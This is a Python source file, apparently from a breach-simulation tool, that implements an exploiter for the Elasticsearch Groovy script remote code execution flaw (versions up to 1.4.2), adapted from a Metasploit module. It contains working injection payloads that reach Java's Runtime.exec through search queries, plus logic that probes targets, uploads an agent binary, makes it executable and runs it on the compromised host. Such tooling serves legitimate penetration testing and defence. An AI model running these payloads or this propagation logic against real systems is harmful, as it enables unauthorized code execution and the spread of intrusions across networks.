""" Implementation is based on elastic search groovy exploit by metasploit https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb Max vulnerable elasticsearch version is "1.4.2" """ import json import logging import requests from model import DROPPER_ARG from network.elasticfinger import ES_SERVICE, ES_PORT from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth from exploit.web_rce import WebRCE __author__ = 'danielg' LOG = logging.getLogger(__name__) class ElasticGroovyExploiter(WebRCE): # attack URLs BASE_URL = 'http://%s:%s/_search?pretty' MONKEY_RESULT_FIELD = "monkey_result" GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' JAVA_GET_TMP_DIR = \ GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' JAVA_CMD = GENERIC_QUERY \ % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) def exploit_host(self): # self.exploit_host_linux() if ES_SERVICE not in self.host.services: LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr) return False # We need a reference to the exploiter for WebRCE framework to use exploiter = self.exploit # Build url from host and elastic port(not https) urls = WebRCE.build_potential_urls(self.host, [[ES_PORT, False]], ['_search?pretty']) vulnerable_urls = [] for url in urls: if WebRCE.check_if_exploitable(exploiter, url): vulnerable_urls.append(url) self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], self._config): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): return False data = WebRCE.upload_monkey(self.host, self._config, exploiter, vulnerable_urls[0]) # We can't use 'if not' because response may be '' if data is not False and data['response'] == False: return False if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: return False if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: return False return True def exploit(self, url, command): payload = self.JAVA_CMD % command response = requests.get(url, data=payload) result = self.get_results(response) if not result: # not vulnerable return False return result[0] def get_results(self, response): """ Extracts the result data from our attack :return: List of data fields or None """ try: json_resp = json.loads(response.text) return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] except (KeyError, IndexError): return None